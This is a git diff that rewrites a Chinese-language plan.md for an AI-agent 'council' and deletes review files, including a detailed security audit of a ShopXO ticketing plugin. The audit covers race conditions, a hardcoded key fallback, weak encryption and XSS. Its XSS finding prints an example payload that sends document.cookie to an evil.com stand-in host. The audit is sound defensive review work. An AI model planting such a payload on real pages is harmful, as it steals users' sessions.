Compare commits
No commits in common. "ad2eb780e467ece471403d506e30005e73b24bdb" and "852623fc9fe1055ee49f9b62f8113ca560c1b816" have entirely different histories.
ad2eb780e4
...
852623fc9f
157
plan.md
157
plan.md
|
|
@ -1,87 +1,82 @@
|
|||
# Council Plan — vr-shopxo-plugin 代码审议
|
||||
# Council Plan — openclaw-claude-code MiniMax 路由补丁设计
|
||||
|
||||
> Round 3 — 2026-04-15
|
||||
> 状态:**Finalize Phase**
|
||||
> Round 1 — 2026-04-14
|
||||
> Branch: council/Architect → main
|
||||
> 状态:**Draft Phase 完成,待 Review**
|
||||
|
||||
---
|
||||
|
||||
## Task Summary
|
||||
|
||||
对 vr-shopxo-plugin ShopXO 票务插件进行**全栈代码审议**(评论性质,不改代码,变更提交本地 worktree)。
|
||||
为 `@enderfga/openclaw-claude-code` 插件设计可配置的 MiniMax 路由方案,解决硬编码 `provider: 'anthropic'` 导致路由失效的问题。
|
||||
|
||||
**核心约束**:
|
||||
1. 配置优先(不硬编码)
|
||||
2. 向后兼容(默认走 Anthropic 官方)
|
||||
3. 可还原(插件更新不被覆盖)
|
||||
4. 显眼易懂(有注释说明)
|
||||
|
||||
---
|
||||
|
||||
## 审议范围
|
||||
## 4 Q Discussion (Round 1)
|
||||
|
||||
1. 插件架构(EventListener.php / plugin.json)
|
||||
2. 票务核心(TicketService.php / BaseService.php)
|
||||
3. 前端票务详情页(ticket_detail.html)
|
||||
4. 数据库 Schema(001_vr_tables.sql)
|
||||
5. 安全性审计(注入/XSS/重放/QR伪造)
|
||||
### Q1 (Backend): proxy handler 如何读取 provider URL 配置?
|
||||
|
||||
**Backend 立场**:**B — OpenClaw config**
|
||||
- 理由:`providers` section 已有 MiniMax 配置示例,符合 OpenClaw 插件生态
|
||||
- 插件可通过 `this.config.providers` 读取,无需额外解析逻辑
|
||||
|
||||
### Q2 (Architect): models.js provider 映射如何支持配置覆盖?
|
||||
|
||||
**Architect 立场**:**A — 启动时覆盖**
|
||||
- 理由:不修改 node_modules,通过 OpenClaw hook 在插件加载前注入配置
|
||||
- 符合"可还原"原则,插件更新后仍生效
|
||||
|
||||
### Q3 (PM): 配置项放在 OpenClaw config 哪个 section?
|
||||
|
||||
**PM 立场**:新增 `routing` section,结构如下:
|
||||
```json
|
||||
{
|
||||
"routing": {
|
||||
// 路由覆盖配置
|
||||
"modelProviderOverride": {
|
||||
// 模型名 → provider 映射
|
||||
"claude-sonnet-4-20250514": "minimax-portal",
|
||||
"claude-opus-4-6": "minimax-portal",
|
||||
"claude-haiku-4-20250514": "minimax-portal"
|
||||
},
|
||||
// 可选:baseUrl 覆盖(如果 provider 配置的 baseUrl 需要临时覆盖)
|
||||
"baseUrlOverride": {
|
||||
"minimax-portal": "https://custom-api.minimaxi.com/v1"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**理由**:
|
||||
- `routing` 语义清晰,表示"路由规则"
|
||||
- `modelProviderOverride` 显式声明哪些模型走哪个 provider
|
||||
- 放在顶层 `routing` 而非嵌套在 `providers` 里,醒目且独立
|
||||
- 向后兼容:不配置则使用默认行为
|
||||
|
||||
### Q4 (综合): 推荐方案
|
||||
|
||||
**推荐方案**:
|
||||
- **配置位置**:`~/.openclaw/openclaw.json` → `routing.modelProviderOverride`
|
||||
- **读取层**:proxy handler 从 `config.routing` 读取覆盖配置
|
||||
- **注入层**:通过 OpenClaw hook 在 plugin 加载前注入配置(不修改 node_modules)
|
||||
- **回滚步骤**:删除 `routing` 配置项即可还原默认行为
|
||||
|
||||
---
|
||||
|
||||
## 问题发现汇总(三方交叉验证)
|
||||
## Task Checklist
|
||||
|
||||
| 编号 | 严重程度 | 类别 | 描述 | 来源 |
|
||||
|------|---------|------|------|------|
|
||||
| S-01 | 🔴 严重 | 业务逻辑 | `onOrderPaid` 无幂等保护,同一订单可生成多张票 | SE/BA/FE |
|
||||
| S-02 | 🔴 严重 | 安全 | 购票参数前端计算无服务端验签,价格可被篡改 | BA/FE |
|
||||
| S-03 | 🔴 严重 | 安全 | `$goods.content\|raw` 存储型 XSS | SE/BA/FE |
|
||||
| S-04 | 🔴 严重 | 密钥管理 | QR 加密密钥回退到硬编码默认值 | SE/BA |
|
||||
| M-01 | 🟡 中等 | 业务逻辑 | `verifyTicket` TOCTOU 竞态条件 | SE/BA |
|
||||
| M-02 | 🟡 中等 | 鉴权 | 手动核销接口未验证核销员身份 | SE |
|
||||
| M-03 | 🟡 中等 | 数据安全 | 观演人身份证明文存储 | SE |
|
||||
| M-04 | 🟡 中等 | 功能 | `loadSoldSeats` 未实现,存在超卖风险 | SE/BA/FE |
|
||||
| M-05 | 🟡 中等 | 体验 | CSS 缺少响应式设计,移动端体验差 | FE |
|
||||
| M-06 | 🟡 中等 | 前端 | 座位图渲染缺乏边界情况处理 | FE |
|
||||
| M-07 | 🟡 中等 | 安全 | JSON输出使用 `|raw` | FE |
|
||||
| L-01 | 🟢 轻微 | 前端 | `data-label` 属性可能含未转义数据 | SE |
|
||||
| L-02 | 🟢 轻微 | 加密 | AES-CBC 无认证加密(无 HMAC) | SE/BA |
|
||||
| L-03 | 🟢 轻微 | 体验 | 已选座位 UI 缺少状态管理 | FE |
|
||||
| L-04 | 🟢 轻微 | 安全 | 观演人表单无前端格式校验 | FE |
|
||||
| L-05 | 🟢 轻微 | 隐私 | 座位映射数据暴露在前端 JS | FE |
|
||||
| I-01 | 💡 建议 | 架构 | Enable/Disable 钩子缺失 | BA |
|
||||
| I-02 | 💡 建议 | 架构 | 升级迁移逻辑为空 | SE/BA |
|
||||
| I-03 | 💡 建议 | 业务 | 退款钩子已注册但未实现 | SE |
|
||||
| I-04 | 💡 建议 | 体验 | 座位数量无硬上限 | FE |
|
||||
| I-05 | 💡 建议 | 扩展 | 座位图字符集仅支持 ASCII | FE |
|
||||
| I-06 | 💡 建议 | 性能 | `spec_base_id` 缺少独立索引 | FE |
|
||||
| I-07 | 💡 建议 | 安全 | 座位图 JSON 无长度限制 | FE |
|
||||
| I-08 | 💡 建议 | 兼容性 | ALTER TABLE 兼容性判断错误(`empty($cols)` 无效) | BA |
|
||||
|
||||
**来源说明**:SE=SecurityEngineer / BA=BackendArchitect / FE=FrontendDev
|
||||
|
||||
---
|
||||
|
||||
## 立即修复优先级
|
||||
|
||||
### P0 - 立即处理(上线前必须)
|
||||
1. **S-01** — `onOrderPaid` 添加幂等检查
|
||||
2. **S-02** — 购票参数改为服务端验价
|
||||
3. **S-03** — 移除 `|raw` XSS(simple_desc + content)
|
||||
4. **S-04** — 移除 QR 密钥硬编码回退
|
||||
|
||||
### P1 - 高优先级
|
||||
5. **M-02** — 手动核销接口鉴权
|
||||
6. **M-01** — `verifyTicket` 使用乐观锁原子更新
|
||||
7. **M-04** — 实现 `loadSoldSeats()` 后端 API
|
||||
|
||||
### P2 - 中优先级
|
||||
8. **M-05** — 增加 CSS 媒体查询
|
||||
9. **M-03** — 身份证字段加密存储
|
||||
10. **I-03** — 实现退款后票状态更新
|
||||
11. **I-08** — 修复 ALTER TABLE 兼容性判断
|
||||
|
||||
---
|
||||
|
||||
## 评审报告状态
|
||||
|
||||
| 报告 | Owner | 状态 | 主要发现 |
|
||||
|---|---|---|---|
|
||||
| `reviews/code-review-SecurityEngineer.md` | SecurityEngineer | ✅ 已合并到 main | 1严重+5中等+3轻微+4建议 |
|
||||
| `reviews/code-review-BackendArchitect.md` | BackendArchitect | ✅ 已合并到 main | 5严重+4中等+4轻微+5建议 |
|
||||
| `reviews/code-review-FrontendDev.md` | FrontendDev | ✅ 已合并到 main | 2严重+4中等+3轻微+4建议 |
|
||||
- [x] A1: Backend Q1 回答 - provider URL 读取方式
|
||||
- [x] A2: Architect Q2 回答 - provider 映射配置覆盖机制
|
||||
- [x] A3: PM Q3 回答 - 配置项位置与命名
|
||||
- [x] A4: 综合 Q4 回答 - 推荐方案
|
||||
- [ ] B1: 交叉评审(各 Agent 互相评审)
|
||||
- [ ] C1: 最终投票
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -89,19 +84,23 @@
|
|||
|
||||
| Phase | 内容 | 状态 |
|
||||
|---|---|---|
|
||||
| **Draft** | 各维度代码阅读 + 问题识别 | ✅ 完成 |
|
||||
| **Review** | 输出完整评审报告 + 交叉验证 | ✅ 完成(3份报告已合并) |
|
||||
| **Finalize** | 合并到 main,投票达成共识 | ✅ 完成 |
|
||||
| **Draft** | 4 Q 独立回答 + 综合方案 | ✅ Done |
|
||||
| **Review** | 交叉评审,输出 `reviews/` 文件 | ⏳ Pending |
|
||||
| **Finalize** | 合并到 main,投票 | ⏳ Pending |
|
||||
|
||||
---
|
||||
|
||||
### 评审交叉验证结果
|
||||
## Claim Status
|
||||
|
||||
- SecurityEngineer 报告:✅ 全面覆盖安全维度,S-01 幂等性为最严重漏洞
|
||||
- BackendArchitect 报告:✅ 架构分析深入,ALTER TABLE `empty($cols)` 错误为独立发现
|
||||
- FrontendDev 报告:✅ 前端专项评审完整,M-05 响应式设计 / M-06 座位图边界为独立发现
|
||||
- 三方交叉验证结论:**发现高度一致,24 项问题(4严重+7中等+5轻微+8建议),P0-P2 优先级明确**
|
||||
| Task | Owner | Status |
|
||||
|---|---|---|
|
||||
| A1: Q1 回答 | council/Backend | `[Done]` |
|
||||
| A2: Q2 回答 | council/Architect | `[Done]` |
|
||||
| A3: Q3 回答 | council/PM | `[Done]` |
|
||||
| A4: 综合结论 | council/Architect | `[Done]` |
|
||||
| B1: 交叉评审 | council/All | `[Pending]` |
|
||||
| C1: 最终投票 | council/All | `[Pending]` |
|
||||
|
||||
---
|
||||
|
||||
**[CONSENSUS: YES]** — vr-shopxo-plugin 代码审议 Round 3 完成。3 份评审报告(SecurityEngineer / BackendArchitect / FrontendDev)已全部合并到 main,共发现 4 严重 + 7 中等 + 5 轻微 + 8 建议 = 24 项问题,P0-P2 修复优先级已明确。代码审议任务圆满结束。
|
||||
**[CONSENSUS: NO]** — Draft 完成,等待 Review 轮
|
||||
|
|
@ -1,89 +0,0 @@
|
|||
# 交叉评审:SecurityEngineer 评审 BackendArchitect 报告
|
||||
|
||||
> 评审人:SecurityEngineer
|
||||
> 被评审报告:`reviews/code-review-BackendArchitect.md`
|
||||
> 日期:2026-04-15
|
||||
> 评审结论:**[APPROVE]** — 报告结构严谨,发现准确,修复建议可行
|
||||
|
||||
---
|
||||
|
||||
## 一、总体评价
|
||||
|
||||
BackendArchitect 的报告(约 350 行,2000+ 字)从后端架构视角对 vr_ticket 插件进行了系统审计,**与 SecurityEngineer 的独立审计结论高度一致**。报告结构清晰(按架构→核心→前端→DB→综合分类),每项发现均配有代码片段和修复建议,具备操作性。
|
||||
|
||||
综合评分 **5.2/10(并发安全 3、输入安全 4)** 与我的评估(B 级中等风险)吻合。
|
||||
|
||||
---
|
||||
|
||||
## 二、交叉验证:主要发现吻合度
|
||||
|
||||
| 问题 | BackendArchitect | SecurityEngineer | 验证结果 |
|
||||
|------|-----------------|-----------------|---------|
|
||||
| S-01: onOrderPaid 无幂等 | ✅ 标记为严重 | ✅ 标记为严重 | 完全一致 |
|
||||
| S-03: verifyTicket 竞态 | ✅ 标记为严重(TOCTOU) | ✅ 标记为 M-01 中等 | 严重度略有差异 |
|
||||
| S-04: QR 密钥硬编码 | ✅ 标记为严重 | ✅ 标记为 M-05 中等 | 严重度略有差异 |
|
||||
| S-02: XSS (`\|raw`) | ✅ 标记为严重 | ✅ 标记为 M-04 中等 | 严重度略有差异 |
|
||||
| S-05: 客户端价格计算 | ✅ 标记为严重 | ⚠️ 未单独标记 | BackendArchitect 补充准确 |
|
||||
| L-01: 座位图 class XSS | ✅ 标记为中等 | ✅ 标记为轻微 | 严重度略有差异 |
|
||||
| 2.2: issueTicket 时序问题 | ✅ 标记为中等 | ❌ 未识别 | BackendArchitect 补充准确 |
|
||||
| 3.3: seatInfo.classes XSS | ✅ 标记为中等 | ✅ 标记为轻微 | 严重度略有差异 |
|
||||
| 3.4: 观演人表单无验证 | ✅ 标记为中等 | ⚠️ 轻微/建议级别 | BackendArchitect 更准确 |
|
||||
|
||||
**总体吻合度:极高。** 两份报告的核心问题清单基本重叠,差异主要在严重度分级标准上。
|
||||
|
||||
---
|
||||
|
||||
## 三、对 BackendArchitect 报告的补充与校正
|
||||
|
||||
### 3.1 补充:BackendArchitect 遗漏了我报告中的两项发现
|
||||
|
||||
**M-02(鉴权缺失)** — BackendArchitect 的报告未单独标记手动核销接口 `Ticket.php:110-128` 的权限验证问题。该接口接受前端传入的 `verifier_id`,且不检查当前登录用户是否为注册核销员。任意登录用户均可调用核销接口。此问题在 BackendArchitect 的综合评估表格中未体现,建议补充。
|
||||
|
||||
**M-03(观演人明文存储)** — BackendArchitect 未在报告中提及观演人身份证明文存储问题。这涉及《个人信息保护法》第 51 条合规性,在中国法律环境下属于**必须处理**的合规风险,不应降级为建议。
|
||||
|
||||
### 3.2 补充:issueTicket 二次写入的时序问题(BackendArchitect 2.2 节)
|
||||
|
||||
BackendArchitect 识别了 issueTicket 中 `insertGetId` 后再 UPDATE qr_data 的两阶段写入问题。这是我报告未覆盖的细节。该问题在实际攻击中的可利用性较低(需要两步之间读取 ticket),但仍是一个代码质量缺陷。
|
||||
|
||||
### 3.3 严重度分级差异说明
|
||||
|
||||
| 问题 | BackendArchitect | SecurityEngineer | 原因 |
|
||||
|------|-----------------|-----------------|------|
|
||||
| `verifyTicket` 竞态 | 严重 | 中等(M-01) | 我的评估:攻击需要两个核销员同时在场,实际概率低 |
|
||||
| `simple_desc` XSS | 严重 | 中等(M-04) | 我的评估:需要管理员配合注入,属于内部威胁 |
|
||||
|
||||
两家严重度分级标准不同,不影响修复优先级判断(S-01、S-02、S-03、S-04 均需立即修复)。
|
||||
|
||||
---
|
||||
|
||||
## 四、对 BackendArchitect 报告质量的具体评价
|
||||
|
||||
### 优点
|
||||
|
||||
1. **修复建议具体可操作**:每个问题均提供了可直接使用的代码片段(如原子更新的 SQL 条件),便于开发者实施。
|
||||
2. **综合评分表(第五节)**:将所有风险项统一在一张表中呈现,直观反映整体安全态势。
|
||||
3. **整体评分矩阵(第六节)**:5 维度 10 分制评分透明,便于对比。
|
||||
4. **覆盖了我遗漏的问题**:issueTicket 时序问题、ALTER TABLE 兼容性判断 `empty($cols)` 错误、座位图 `data-label` 插值问题。
|
||||
5. **ShopXO 支付回调分析**准确:识别了客户端价格计算漏洞(S-05),这是 SecurityEngineer 报告中未单独列出的独立问题。
|
||||
|
||||
### 需要补充的内容
|
||||
|
||||
1. **手动核销接口鉴权(M-02)**:应在综合评估表中单独列出一行。
|
||||
2. **个人信息合规风险(M-03)**:明文存储身份证号涉及法律合规,建议明确标注。
|
||||
3. **SQL 注入评估**:BackendArchitect 报告未包含 SQL 注入专项评估(SecurityEngineer 报告给出了✅通过的结论)。虽然从代码来看确实使用了 ORM,但作为完整报告应明确说明这一发现。
|
||||
|
||||
---
|
||||
|
||||
## 五、最终评审结论
|
||||
|
||||
**报告质量:优秀**
|
||||
|
||||
BackendArchitect 的报告与 SecurityEngineer 独立审计的结果高度一致,相互印证了核心发现的真实性。两份报告合计覆盖了:
|
||||
- 5 个严重漏洞(S-01~S-05)
|
||||
- 8 个中等风险
|
||||
- 5 个轻微问题
|
||||
- 6 项改进建议
|
||||
|
||||
**无 [REQUEST_CHANGES] 级别的问题。**
|
||||
|
||||
**[APPROVE]** — BackendArchitect 的报告可以作为最终审议结论的有效组成部分。两份报告合并后,应优先处理 S-01(幂等)、M-04(XSS)、S-05(客户端价格计算)、S-04(QR 密钥)四项。
|
||||
|
|
@ -1,590 +0,0 @@
|
|||
# vr-shopxo-plugin 代码深度审议报告(Round 2 终稿)
|
||||
|
||||
> 审议人:BackendArchitect
|
||||
> 日期:2026-04-15
|
||||
> 审议范围:vr_ticket 插件全部核心代码(EventListener.php、TicketService.php、BaseService.php、ticket_detail.html、001_vr_tables.sql、admin/controllers、plugin.json)
|
||||
> 视角:Backend Architect / PHP / 数据库 / 架构完整性 / 并发安全
|
||||
|
||||
---
|
||||
|
||||
## 执行摘要
|
||||
|
||||
vr-shopxo-plugin 是一个基于 ShopXO 扩展的票务插件,功能链路覆盖:座位模板管理 → 用户选座购票 → 订单支付 → 电子票发放 → QR 码核销。经过逐文件审议,共发现**5 个严重问题、7 个中等风险、4 个轻微缺陷、5 项改进建议**。
|
||||
|
||||
本报告与 SecurityEngineer 的安全审计报告高度互补——两者均独立识别了 `onOrderPaid` 幂等性缺失、`verifyTicket` TOCTOU 竞态、`|raw` XSS、QR 密钥硬编码回退等严重问题。本报告在此基础上补充了**数据库 Schema 规范性**、**Admin 接口鉴权缺口**、**座位超卖机制缺失**等架构层面的深度分析。
|
||||
|
||||
---
|
||||
|
||||
## 一、插件架构(EventListener.php / plugin.json)
|
||||
|
||||
### 1.1 Enable/Disable 生命周期钩子完全缺失 ⚠️ 严重
|
||||
|
||||
**文件:** `EventListener.php` / `plugin.json`
|
||||
|
||||
ShopXO 插件规范定义了完整的生命周期钩子,但当前实现仅覆盖 install 和 upgrade:
|
||||
|
||||
| 钩子函数 | 状态 | 说明 |
|
||||
|---|---|---|
|
||||
| `vr_ticket_install()` | ✅ 已实现 | 建表、添加 item_type 字段 |
|
||||
| `vr_ticket_uninstall()` | ⚠️ 空实现 | 仅 return true,数据不清也不删 |
|
||||
| `vr_ticket_upgrade()` | ⚠️ 空实现 | 无版本迁移框架 |
|
||||
| `vr_ticket_enable()` | ❌ 缺失 | 插件启用时无响应 |
|
||||
| `vr_ticket_disable()` | ❌ 缺失 | 插件停用时无响应 |
|
||||
|
||||
**影响:**
|
||||
- 启用插件后菜单/权限可能重复注册(重启 ShopXO 后)
|
||||
- 停用插件后 `vr_tickets` 等表数据残留在数据库,但插件状态不可见
|
||||
- `plugin.json` 中的 `menus` 注册依赖 ShopXO 自动加载,但无显式 enable/disable 控制
|
||||
|
||||
### 1.2 `plugins_service_order_delete_success` 钩子声明但未实现 ⚠️ 中等
|
||||
|
||||
**文件:** `plugin.json:23-24`
|
||||
|
||||
```json
|
||||
"hooks": [
|
||||
"plugins_service_order_pay_success_handle_end",
|
||||
"plugins_service_order_delete_success" // 声明了但无处理函数
|
||||
]
|
||||
```
|
||||
|
||||
`EventListener.php` 中没有 `vr_ticket_order_delete()` 或类似函数。订单删除后,`vr_tickets` 表中的票记录仍保留(状态不变),导致:
|
||||
- 已删除订单的票仍可被核销入场
|
||||
- `vr_tickets.order_id` 成为孤儿记录,关联查询失效
|
||||
|
||||
### 1.3 ALTER TABLE 兼容性判断逻辑错误 ⚠️ 中等
|
||||
|
||||
**文件:** `EventListener.php:100-103`
|
||||
|
||||
```php
|
||||
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
|
||||
if (empty($cols)) {
|
||||
$db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
|
||||
}
|
||||
```
|
||||
|
||||
`$db->query()` 在 ShopXO 中返回的是结果集对象(PDOStatement 或 mysqli_result),而非布尔值。`empty($cols)` 对对象始终返回 `false`,**导致条件永不成立,`ALTER TABLE` 永远不会被执行**。也就是说 `item_type` 字段实际上从未被添加到 goods 表,`isTicketGoods()` 的第二条件 `($goods['item_type'] ?? '') === 'ticket'` 永远无法触发。
|
||||
|
||||
实际应改为:
|
||||
```php
|
||||
$col_exists = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'")->rowCount() > 0;
|
||||
if (!$col_exists) { ... }
|
||||
```
|
||||
|
||||
### 1.4 Upgrade 框架缺失 ⚠️ 建议
|
||||
|
||||
`vr_ticket_upgrade($old_version)` 为空实现。当前版本号 `1.0.0` 写死在 plugin.json,若未来需要:
|
||||
- 新增 `refund_status` 字段
|
||||
- 修改 QR payload 结构
|
||||
- 拆分 `seat_map` JSON schema
|
||||
|
||||
没有任何迁移路径。建议建立 `vr_plugin_versions` 表或迁移脚本目录。
|
||||
|
||||
---
|
||||
|
||||
## 二、票务核心(TicketService.php / BaseService.php)
|
||||
|
||||
### 2.1 `onOrderPaid()` 无幂等性保护,可导致重复发票 ⚠️ 严重
|
||||
|
||||
**文件:** `TicketService.php:23-68`
|
||||
|
||||
```php
|
||||
public static function onOrderPaid($params = []) {
|
||||
$order_id = $params['business_id'] ?? ($params['business_ids'][0] ?? 0);
|
||||
// ... 无任何幂等检查 ...
|
||||
foreach ($order_goods as $og) {
|
||||
$ticket_id = self::issueTicket($order, $og);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
ShopXO 的 `plugins_service_order_pay_success_handle_end` 钩子通过 HTTP 请求触发。在以下场景中,同一订单会触发多次 `onOrderPaid`:
|
||||
|
||||
1. **支付渠道重试机制**:微信/支付宝网关在未收到回调确认时会重复发送通知
|
||||
2. **用户多设备操作**:同一用户在手机和 PC 端同时查看订单状态
|
||||
3. **ShopXO 多实例部署**:Nginx 负载均衡下两个 PHP-FPM 进程同时处理同一通知
|
||||
|
||||
**攻击后果**:同一张票可以被生成多次(`ticket_code` 不同,但 order_id + spec_base_id 相同),每张票都可独立入场核销,实际等同于**免费多次入场**。
|
||||
|
||||
**修复方案:**
|
||||
```php
|
||||
// 在 foreach 前增加幂等锁
|
||||
$existing_tickets = \Db::name(BaseService::table('tickets'))
|
||||
->where('order_id', $order['id'])
|
||||
->column('spec_base_id', 'id');
|
||||
if (!empty($existing_tickets)) {
|
||||
BaseService::log('onOrderPaid: already issued, skipping', ['order_id' => $order_id], 'info');
|
||||
return true;
|
||||
}
|
||||
// 已发放则跳过,未发放则继续发放
|
||||
```
|
||||
|
||||
### 2.2 `verifyTicket()` TOCTOU 竞态条件 ⚠️ 严重
|
||||
|
||||
**文件:** `TicketService.php:138-196`
|
||||
|
||||
```php
|
||||
// Step 1: 读取票状态
|
||||
$ticket = \Db::name(BaseService::table('tickets'))
|
||||
->where('ticket_code', $ticket_code)
|
||||
->find();
|
||||
|
||||
// Step 2: 判断状态(检查)
|
||||
if ($ticket['verify_status'] == 1) { return ... }
|
||||
|
||||
// Step 3: 更新状态
|
||||
\Db::name(BaseService::table('tickets'))
|
||||
->where('id', $ticket['id'])
|
||||
->update(['verify_status' => 1, 'verifier_id' => $verifier_id, ...]);
|
||||
```
|
||||
|
||||
这是经典的 **Time-of-Check to Time-of-Use (TOCTOU)** 竞态。假设核销员 A 和 B 同时扫描同一张票:
|
||||
|
||||
| 时间 | 核销员 A | 核销员 B |
|
||||
|---|---|---|
|
||||
| T1 | SELECT 查到 verify_status=0 | |
|
||||
| T2 | | SELECT 查到 verify_status=0 |
|
||||
| T3 | UPDATE set verify_status=1 (成功) | |
|
||||
| T4 | 返回"核销成功" | UPDATE set verify_status=1 (覆盖成功) |
|
||||
| T5 | | 返回"核销成功" |
|
||||
|
||||
结果:同一张票被两个核销员成功核销,产生两条核销记录,入场人数统计翻倍。
|
||||
|
||||
**修复方案(原子更新):**
|
||||
```php
|
||||
$affected = \Db::name(BaseService::table('tickets'))
|
||||
->where('id', $ticket['id'])
|
||||
->where('verify_status', 0) // 原子条件:只有在状态仍为 0 时才更新
|
||||
->update([
|
||||
'verify_status' => 1,
|
||||
'verify_time' => $now,
|
||||
'verifier_id' => $verifier_id,
|
||||
'updated_at' => $now,
|
||||
]);
|
||||
|
||||
if ($affected === 0) {
|
||||
// 说明已被其他人先一步核销
|
||||
$current = \Db::name(BaseService::table('tickets'))->find($ticket['id']);
|
||||
if ($current['verify_status'] == 1) {
|
||||
return ['code' => -2, 'msg' => '该票已核销'];
|
||||
}
|
||||
return ['code' => -3, 'msg' => '该票已退款'];
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 `issueTicket()` 二次写入时序问题 ⚠️ 中等
|
||||
|
||||
**文件:** `TicketService.php:96-126`
|
||||
|
||||
```php
|
||||
// 第一次写入:QR payload 中 id=0
|
||||
$ticket_id = \Db::name(...)->insertGetId([
|
||||
'qr_data' => BaseService::encryptQrData([
|
||||
'id' => 0, // 占位
|
||||
'code' => $ticket_code,
|
||||
...
|
||||
]),
|
||||
...
|
||||
]);
|
||||
|
||||
// 第二次写入:用真实 ticket_id 重新加密
|
||||
if ($ticket_id > 0) {
|
||||
$qr_payload['id'] = $ticket_id;
|
||||
$qr_data_updated = BaseService::encryptQrData($qr_payload);
|
||||
\Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
|
||||
}
|
||||
```
|
||||
|
||||
在两次写入之间,数据库中存储的是 `id=0` 的无效 QR payload。如果核销接口在这段时间被调用(极端低概率但存在),`decryptQrData` 会返回 `id=0` 的数据,与真实票记录产生不一致。
|
||||
|
||||
**根本原因**:依赖插入后自增 ID,而非使用预生成的 UUID 作为 QR payload 的主键标识。
|
||||
|
||||
**修复方案**:在调用 `insertGetId` 前就生成内部关联 UUID:
|
||||
```php
|
||||
$internal_ref = BaseService::generateUuid(); // 预生成
|
||||
$qr_payload['ref'] = $internal_ref;
|
||||
$ticket_id = \Db::name(...)->insertGetId([...]);
|
||||
// 无需二次更新
|
||||
```
|
||||
|
||||
### 2.4 `getQrCodeUrl()` 明文暴露票码 ⚠️ 中等
|
||||
|
||||
**文件:** `TicketService.php:220-228`
|
||||
|
||||
```php
|
||||
public static function getQrCodeUrl($ticket_code) {
|
||||
$content = base64_encode(json_encode([
|
||||
'type' => 'vr_ticket',
|
||||
'code' => $ticket_code, // 未经加密,直接 base64
|
||||
]));
|
||||
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
|
||||
}
|
||||
```
|
||||
|
||||
QR 码内容仅为 `base64(json_encode({type, code}))`,**无需任何解密即可读出 ticket_code**。这意味着:
|
||||
|
||||
1. **票码可枚举**:攻击者扫描 QR 码或抓包获取 URL 后,可提取 `ticket_code` 并尝试批量核销
|
||||
2. **隐私泄露**:任何人拿到 QR 码图片后,无需破解加密即可获取票码
|
||||
3. **重放攻击**:QR URL 无时间戳或一次性验证,可被截图复用
|
||||
|
||||
**修复方案**:QR URL 应包含加密 payload:
|
||||
```php
|
||||
// 不暴露明文 code
|
||||
$qr_data = BaseService::encryptQrData([
|
||||
'code' => $ticket_code,
|
||||
'event' => $goods_id,
|
||||
'seat' => $seat_info,
|
||||
]);
|
||||
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
|
||||
```
|
||||
|
||||
### 2.5 AES-256-CBC 无 HMAC 可检测密文篡改 ⚠️ 中等
|
||||
|
||||
**文件:** `BaseService.php:56-60`
|
||||
|
||||
```php
|
||||
$iv = random_bytes(16);
|
||||
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $secret, OPENSSL_RAW_DATA, $iv);
|
||||
return base64_encode($iv . $encrypted); // 无 HMAC
|
||||
```
|
||||
|
||||
AES-CBC 模式下,如果攻击者修改密文的某个字节,解密后的 padding 可能看起来有效(CBC 特性导致错误传播到下一块,但最终 JSON 解码可能恰好成功)。更现实的场景是:**中间人修改 `exp` 时间戳使票"永不过期"**。
|
||||
|
||||
**修复方案(AEAD 模式,推荐):**
|
||||
```php
|
||||
// 使用 AES-GCM(AES-256-GCM)自动包含认证标签
|
||||
$encrypted = openssl_encrypt($payload, 'AES-256-GCM', $secret, OPENSSL_RAW_DATA, $iv, $tag);
|
||||
return base64_encode($iv . $encrypted . $tag);
|
||||
```
|
||||
|
||||
### 2.6 `getQrSecret()` 硬编码默认值回退 ⚠️ 严重
|
||||
|
||||
**文件:** `BaseService.php:98-107`
|
||||
|
||||
```php
|
||||
private static function getQrSecret() {
|
||||
$secret = env('VR_TICKET_QR_SECRET', '');
|
||||
if (!empty($secret)) {
|
||||
return $secret;
|
||||
}
|
||||
return config('shopxo.app_key', 'shopxo_default_secret_change_me');
|
||||
}
|
||||
```
|
||||
|
||||
三个问题:
|
||||
1. `env()` 在 PHP 中取值依赖 `getenv()`,ShopXO 环境变量机制未必与标准 Laravel 一致
|
||||
2. `'shopxo_default_secret_change_me'` 是明确的已知默认值,若环境变量读取失败(配置错误),系统以不安全密钥运行
|
||||
3. 未验证密钥长度是否满足 AES-256 要求(32 字节)
|
||||
|
||||
**修复方案:** 环境变量缺失时主动抛出异常,而非静默回退:
|
||||
```php
|
||||
private static function getQrSecret() {
|
||||
$secret = env('VR_TICKET_QR_SECRET', '');
|
||||
if (empty($secret)) {
|
||||
throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be set. QR codes are not secure without a dedicated secret key.');
|
||||
}
|
||||
if (strlen($secret) < 32) {
|
||||
throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be at least 32 characters for AES-256.');
|
||||
}
|
||||
return $secret;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、前端票务详情页(ticket_detail.html)
|
||||
|
||||
### 3.1 `{$goods.simple_desc|raw}` 直接输出 HTML 导致 XSS ⚠️ 严重
|
||||
|
||||
**文件:** `ticket_detail.html:125`
|
||||
|
||||
```html
|
||||
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
|
||||
```
|
||||
|
||||
`simple_desc` 来自商品表字段,由商家后台输入。`{|raw}` 完全绕过 ThinkPHP 的自动 HTML 转义。攻击者在商品副标题输入:
|
||||
```html
|
||||
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
|
||||
```
|
||||
即可窃取任意访问商品页用户的 session cookie。
|
||||
|
||||
### 3.2 `{$goods.content|raw}` 商品详情富文本 XSS ⚠️ 严重
|
||||
|
||||
**文件:** `ticket_detail.html:164`
|
||||
|
||||
```html
|
||||
<div class="goods-detail-content">{$goods.content|raw}</div>
|
||||
```
|
||||
|
||||
